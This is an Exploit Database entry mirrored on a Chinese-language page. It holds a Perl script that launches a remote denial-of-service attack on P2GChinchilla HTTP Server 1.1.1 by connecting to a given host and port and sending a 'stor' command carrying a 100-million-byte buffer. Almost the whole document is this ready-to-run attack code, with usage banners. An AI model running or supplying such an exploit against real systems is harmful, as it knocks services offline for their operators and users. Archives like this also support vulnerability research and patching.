P2GChinchilla HTTP Server 1.1.1 – Denial of Service

• Exploit Database
• 119 阅读

• 作者： Zer0 Thunder
  日期： 2010-01-24
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11254/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

  #!/usr/bin/perl # File Name :P2GChinchilla[TM] HTTP Server # Vuln : Remote Denial Of Service Exploit # Auther : Zer0 Thunder # Msn : zer0_thunder@colombohackers.com # # ##==------>> # # Exploit Title: P2GChinchilla[TM] HTTP Server 1.1.1 Remote Denial Of Service Exploit # Date: 22/01/2010 # Author: Zer0 Thunder # Version: v 1.1.1 # Tested on: Server runs on Windows XP Sp2 /Test on Remote Location ##==------>> use IO::Socket::INET; $ip = $ARGV[0]; $port = $ARGV[1]; if (! defined $ARGV[0]) { print "\t+================================================================+\n"; print "\t+ ---P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service---+\n"; print "\t+ ---Author :Zer0 Thunder ---+\n"; print "\t+ ---DATE::[24/01/2010] ---+\n"; print "\t+ --------------------------------------------------- ---+\n"; print "\t+ ---Usage:perl exploit.pl [Host/Remote IP] [Port]---+\n"; print "\t+ --- ---+\n"; print "\t+================================================================+\n"; print "\n"; print " Ex : exploit.pl localhost 50000\n";# P2GChinchilla Default Port is 50000 exit; } print "\t+================================================================+\n"; print "\t+ ---P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service---+\n"; print "\t+ ---Author :Zer0 Thunder ---+\n"; print "\t+ ---DATE::[24/01/2010] ---+\n"; print "\t+ --------------------------------------------------- ---+\n"; print "\t+ ---Usage:perl exploit.pl [Host/Remote IP] [Port]---+\n"; print "\t+ --- ---+\n"; print "\t+================================================================+\n"; print "\n"; print " Wait Till The Buffer is Done\n"; my $b1 = "\x41" x 100000000; print "\n"; print " DoS is UP !.. N Give it a Second \n";   $DoS=IO::Socket::INET->new("$ip:$port") or die;   print $DoS "stor $b1\n"; print $DoS "QUIT\n"; close $DoS;   # exit :